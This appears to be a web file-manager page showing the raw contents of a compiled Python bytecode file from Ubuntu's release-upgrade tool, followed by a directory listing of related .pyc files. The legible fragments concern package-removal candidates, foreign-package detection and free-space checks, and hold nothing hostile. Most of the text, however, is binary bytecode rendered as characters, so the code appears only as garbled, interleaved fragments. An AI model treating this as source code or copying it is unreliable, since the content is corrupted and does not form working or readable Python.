is_upgradabler4r�r$rmr5�KeyErrorrr!r�r�)	r'r`r�r�rrzr�	meta_pkgsrfs	`       @rr��MyCache._installMetaPkgsWsy���
	� �;�;�&�&�x��<���;�;�&�&�x��@�C���I�"�"�$�����%�-�-�d�3�i�8�A��C�

O��4�K���I�*�*���I�+�+��M�M�"<�s�"B�C���I�*�*�,��'�'��-�5�5�d�3�i�@�,�+� �� �!�!��M�M�@�8�K�L���!�
��;�;�.�.�s�4E�F�C���+�"H�$�s�)�2H�2H�H�J�G��:��M�M�"E��"K�L�%��S�	�.�.�0��M�M�C��c��Ia�Ia�"b�c��' �* �!�!��	�	�(�1�R�.�1�I��J�J�q�3�4��6�7�#�H�R�L�1�2�
3����S�
O����c�1� M�N�N��
O�� (��2�	%��
�
�'*�A�'/�0��
�
�1�%9�#:�S�#@�#$�&3�$4�5� %��	%�s2�
BH6�%I.�6
I+�I&�&I+�.K�>AK
�
Kc��URHNn[R"U5RU5(dM/[R
"SU<SU<S35  g g)Nzdenylist expr 'z' matches 'r�TF)rrr"r#r$r4r�)r'r.�exprs   rr��MyCache._inRemovalDenylist�sJ���)�)�D��z�z�$��%�%�g�.�.��
�
�#�W�.�/��	*�
rc�T�X;a[R"SU-5 gURUR5(a[R"SU-5 gXR:Xa[R"SU-5 gURU5(a[R"SU-5 gURRSS5HVnX;dM
XR(dMXRRU:XdM=[R"SU-5  g g	)
Nzskipping foreign pkg '%s'Fz skipping running kernel pkg '%s'z skipping kernel metapackage '%s'z"skipping '%s' (in removalDenylist)rWr3z'skipping '%s' (in KeepInstalledSection)T)
r4r��endswithr/rtr�rdrer�r4)r'r.�foreign_pkgsr4s    r�isRemoveCandidate�MyCache.isRemoveCandidate�s����"��M�M�5��?�@�����D�J�J�'�'��M�M�<�w�F�G���,�,�,��M�M�<�w�F�G���"�"�7�+�+��M�M�>��H�I���{�{�*�*�8�5K�L�G���D�M�$;�$;�$;��M�+�+�3�3�w�>��
�
�G�'�Q�R��	M�rc
��X;agX;agURRSS5nU(aUR	5 XRXTS9 URR5 U(ahX;agUR5HNnURU;dM[R"SU<SUR<S35 UR5  g g![Ra SnN�f=f![[4aMn[R"S	U<S
[!U5<SU<S35 U(aUR5 SnAgSnAff=f)
NFTrW�PurgeObsoletes)�purger
z	package 'z ' produces an unwanted removal 'z', skippingz'_tryMarkObsoleteForRemoval failed for 'r�: r�)rdr�r�r�rr
r`rir�r�r4r�rrmr�r5�repr)r'r.�remove_candidates�forced_obsoletesr
r�r�rzs        r�tryMarkObsoleteForRemoval�!MyCache.tryMarkObsoleteForRemoval�s$��
�+�����	��K�K�*�*�8�5E�F�E��� � �"�	��M�%�%�E�%�E��I�I�#�#�%���.���+�+�-�C��x�x�'8�8��
�
�dk�mp�mu�mu�&v�w��-�-�/�$�	.���3�)�)�	��E�	��(�X�&�	��O�O�U\�^b�cd�^e�gh�i�j���%�%�'���		�s<�C�7C9�:!C9�:C9�C9�C6�5C6�9E�	AE�Ec��[5nUHInUR(dMURU5(aM.URUR5 MK U$�z0get all package names that are not downloadable )rxr�anyVersionDownloadabler�r�)r'�
obsolete_pkgsr�s   r�_getObsoletesPkgs�MyCache._getObsoletesPkgs�sL����
��C�����
�2�2�3�7�7�!�%�%�c�h�h�/���rc�d�URRHnUR(dM g g)z@helper that checks if any of the version of pkg is downloadable TF)rr�r~)r'r�r�s   rr��MyCache.anyVersionDownloadable�s*���8�8�(�(�C������)�rc���[5nUH]nUR(dMURRUR5(dMBURUR5 M_ U$r�)rxrr��
is_garbagerr�r�)r'�unused_dependenciesr�s   r�_getUnusedDependencies�MyCache._getUnusedDependenciessR��!�e���C�����D�N�N�$=�$=�c�h�h�$G�$G�#�'�'����1��#�"rc�\�[5nUGHnUR(aUR(dM(URU5(a�URRR
H�up4UR(aMURS:XaXURRUR5(aMTURRUR5(aM�X1UR' M� M�URU5(dGMSXR'GM U$)a\
Check for packages that do not have 'Ubuntu' as their origin.
Return this as a dict with <package name> -> <package file>.

If an installed package has a candidate that is not downloadable,
but *some* version of the package is downloadable, consider that
package foreign. In such cases, the package will have a value of None
in the returned dict.
�UbuntuN)�dictrr}r~�_candr��
not_sourcer��archiver�rgrhr�r�)r'�foreignr��pkg_filer!s     rr��MyCache.foreign_packagess����&���C��$�$������ � ��%�%�%(�]�]�%8�%8�%B�%B�M�X��*�*� �!���8�3�$�,�,�7�7����G�G�$�,�,�7�7����E�E�-5����)��&C� �,�,�S�1�1�%)����!�1�4�rc
�
^�"SS[5nU4Sjn/m0n0n[S5nUH1nUR5up�p�p�U	T;dM TR
U	5 M3 SSS5 TR[S	S
9 [RRS5nSS
SSUSS4H�n[RRU5nU"U5n[RRU5(a0[R "U5nUR"UR$-nO[R&"SU-5 SnUU;a,[R
"SU<SUU<35 XTUX_'M�[R
"SU<SU<35 X�U'U"U5X_'M� A[R
"SU-5 SnUH�n[(R*"SUR,5(dM+UR.(dUR0(dMO[R
"UR,<S[2<S35 US-
nM� U[2-US-[4--nSnU(arUHSnUR6(dMUR0(dUR8(dM:UUR:R<-
nMU [R
"SU-5 X�R>4S
UR@4SURB4SSU4S S!S
U44H�unnUS:aM[RRU5n[R
"S"UUUUUURD4-5 UU=RDU-sl"UU=RFU-
sl#M� 0nUGHnUURDS:dM[RH"[K[MUURD5S-55n[OU[P5(a$URS[TRV"55n[RH"UURF5nU5(a$URS[TRV"55nUU"U5U5UU"U5'GM [U5S:�aU[RZ"S#UVs/sHn[]U5PM sn-5 [_[aURc555eg	![a+n
[R
"SU<SU
<S35 Sn
A
GMSn
A
ff=f!,(df   GN�=fs snf)$z�
this checks if we have enough free space on /var, /boot and /usr
with the given cache

Note: this can not be fully accurate if there are multiple
      mountpoints for /usr, /var, /boot
c��\rSrSrSrSrSrg)�)MyCache.checkFreeSpace.<locals>.FreeSpacei9z?helper class that represents the free space on each mounted fs c��XlSUlgr���freer`)r'�initialFrees  rr&�2MyCache.checkFreeSpace.<locals>.FreeSpace.__init__;s��'�	���	rr�NrQrrr�	FreeSpacer�9s
��N�
rr�c�L>�THnURU5(dMUs $ g)zoreturn 'id' of a directory so that directories on the
same filesystem get the same id (simply the mount_point)
�/)r�)�d�mount_point�mounteds  �r�
make_fs_id�*MyCache.checkFreeSpace.<locals>.make_fs_id?s)��� '���<�<��,�,�&�&� '�rz/proc/mountszline 'z"' in /proc/mounts not understood (r�NT)r�reversezDir::Cache::archivesr�/usrz/varz/bootz/homez/tmp/zdirectory '%s' does not existsrzDir z mounted on zFree space on r�zfs_free contains: '%s'z%^linux-(image|image-debug)-[0-9.]*-.*z (new-install) added with z to boot spacergz&additional space for the snapshots: %s)ri )z/tmpiP)ri�z dir '%s' needs '%s' of '%s' (%f)zNot enough free space: %s)2�objectr�rV�
ValueErrorr4r�rr�r�rjrdr�r.r1�realpathr��statvfs�f_bavail�f_frsizer5r"r$r�r�r�KERNEL_SIZE�INITRD_SIZErrr��installed_sizer�r�r�r�r`�size_to_str�float�absr��bytes�decode�locale�getpreferredencodingr=rrnrKr��values)r'�snapshots_in_user�r�mnt_map�fs_free�mountsr�r!�where�options�ar�rz�
archivedirr�fs_id�str��kernel_countr��
space_in_boot�required_for_snapshotsrB�size�
required_list�
free_at_least�free_neededrlrs                             @r�checkFreeSpace�MyCache.checkFreeSpace0s����	��	�	�������
�.�
!�V����37�:�:�<�0�Q�q�1���'��N�N�5�)��"�	����d��+��^�^�,�,�-C�D�
��v�v�w�
�G�W�M�A���� � ��#�A��q�M�E��w�w�~�~�a� � ��Z�Z��]���{�{�R�[�[�0����� @�1� D�E�������
�
� �'�%�.�2�3�$�U�^�4��
��
�
� �$�(�)�!"���&�t�_��
�#N�$
��
�
�.��8�9�
���C��x�x�?����J�J��%�%��);�);�);��M�M�TW�T\�T\�^i�"j�k� �A�%�L��&��3�(�1�,��;�<�
�"%������$�$�$��'�'�3�+<�+<�+<�*�c�m�m�.J�.J�J�*��
�M�M�B�E[�[�\�(�)?�)?�@�#�T�%C�%C�D�#�T�%M�%M�N�2�$�m�4�1�/�#�%;�<��K�S�$��a�x���'�'�"�"�3�'�C��M�M�<��T�7�SV�<�Y`�ad�Ye�Yj�Yj�?k�k�l��C�L����%���C�L����%��%�*�
��C��s�|� � �1�$� '� 3� 3�E�#�g�c�l�>O�>O�:P�QR�:R�4S� T�
��m�U�3�3�$1�$8�$8��3�3�5�%7�M�%�1�1�'�#�,�2C�2C�D���k�5�1�1�"-�"4�"4��3�3�5�#7�K�
2C�;�PZ�[^�P_�an�1o�
�j��o�.�� �}���!��M�M�5��8W��A��Q���8W�W�X�)�$�}�/C�/C�/E�*F�G�G���O"���M�M�UY�[\�"]�^�����	"�
!��R9Xs@�T9�T�T9�T9�U
�
T6�T1�*T9�1T6�6T9�9
U)rirdrgrtrbr�rfr�r�rcrarrrhr^r_r/r`)NTNNr@)T)�)F);rrrrr�r�r&�propertyr�r�rwr�r�r�r�r�r�r�rlr�r�r�r�r�r~r�rrrrrrr$r(r+r/r5r9rCrQrXrbrmr�r�r�r�r�r�r�r�r�r�r�r�r�r�r+rrrrrSrS�s����I��M�����(J�T�	��	��6F�$�$���$��$��'��'������/��/�
1�!�
_�5�D�B�	 �+�
0��>��<�$��+�
=�
/�p�@.�/�$'�R� r�*	��P��P�d�8�$����6�"O�L�\��.�%��%�N��#�&�PLrrS)!rorjr0rr.r"r4rjr�r{r��
subprocessrr�DistUpgradeGettextrr!r�utilsrrMr
rrrr;rrr	r=rKrprSrrr�<module>r2s���,���
�	�	������"�,�(� �	�Y�	�	�.�	�	�N�	��I��* �B?�@���[�
B��
B� A�n�A�v�c�i�i�vr

Filemanager

Name Type Size Permission Actions
DistUpgradeApport.cpython-313.pyc File 6.12 KB 0644
DistUpgradeCache.cpython-313.pyc File 59.35 KB 0644
DistUpgradeConfigParser.cpython-313.pyc File 4.2 KB 0644
DistUpgradeController.cpython-313.pyc File 101.91 KB 0644
DistUpgradeFetcher.cpython-313.pyc File 7.21 KB 0644
DistUpgradeFetcherCore.cpython-313.pyc File 12.6 KB 0644
DistUpgradeFetcherKDE.cpython-313.pyc File 10.51 KB 0644
DistUpgradeGettext.cpython-313.pyc File 2.68 KB 0644
DistUpgradeMain.cpython-313.pyc File 10.22 KB 0644
DistUpgradeQuirks.cpython-313.pyc File 49.98 KB 0644
DistUpgradeVersion.cpython-313.pyc File 186 B 0644
DistUpgradeView.cpython-313.pyc File 21.06 KB 0644
DistUpgradeViewGtk3.cpython-313.pyc File 48.36 KB 0644
DistUpgradeViewKDE.cpython-313.pyc File 53.71 KB 0644
DistUpgradeViewNonInteractive.cpython-313.pyc File 17.46 KB 0644
DistUpgradeViewText.cpython-313.pyc File 13.41 KB 0644
GtkProgress.cpython-313.pyc File 4.58 KB 0644
MetaRelease.cpython-313.pyc File 18.05 KB 0644
QUrlOpener.cpython-313.pyc File 3 KB 0644
ReleaseNotesViewer.cpython-313.pyc File 8.47 KB 0644
ReleaseNotesViewerWebkit.cpython-313.pyc File 2.53 KB 0644
SimpleGtk3builderApp.cpython-313.pyc File 2.36 KB 0644
SimpleGtkbuilderApp.cpython-313.pyc File 2.34 KB 0644
__init__.cpython-313.pyc File 151 B 0644
apt_btrfs_snapshot.cpython-313.pyc File 17.36 KB 0644
dist-upgrade.cpython-313.pyc File 347 B 0644
telemetry.cpython-313.pyc File 4.72 KB 0644
utils.cpython-313.pyc File 22.68 KB 0644
xorg_fix_proprietary.cpython-313.pyc File 5.96 KB 0644
Filemanager